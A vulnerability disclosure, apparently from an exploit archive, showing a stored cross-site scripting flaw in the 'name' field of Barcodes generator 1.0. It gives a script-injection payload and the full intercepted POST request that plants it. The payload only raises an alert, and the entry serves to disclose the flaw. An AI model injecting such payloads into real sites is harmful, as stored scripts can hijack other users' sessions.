Barcodes generator 1.0 - 'name' Stored Cross Site Scripting

# Exploit Title: Barcodes generator 1.0 - 'name' Stored Cross Site Scripting
# Date: 10/12/2020
# Exploit Author: Nikhil Kumar 
# Vendor Homepage: http://egavilanmedia.com/
# Software Link: http://egavilanmedia.com/barcodes-generator-using-php-mysql-and-jsbarcode-library/
# Version: 1.0
# Tested On: Ubuntu

1. Open the index.php page using following url 

http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php

click on the New Barcode

2. Intercept the request through burp suite

Put a payload on "name=" parameter

Payload :- abc"><script>alert("XSS")</script>

Malicious Request::

POST /Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/php/insert.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/Barcodes-Generator-Using-PHP-MySQL-and-JsBarcode/index.php
Upgrade-Insecure-Requests: 1

name=abc"><script>alert("XSS")</script>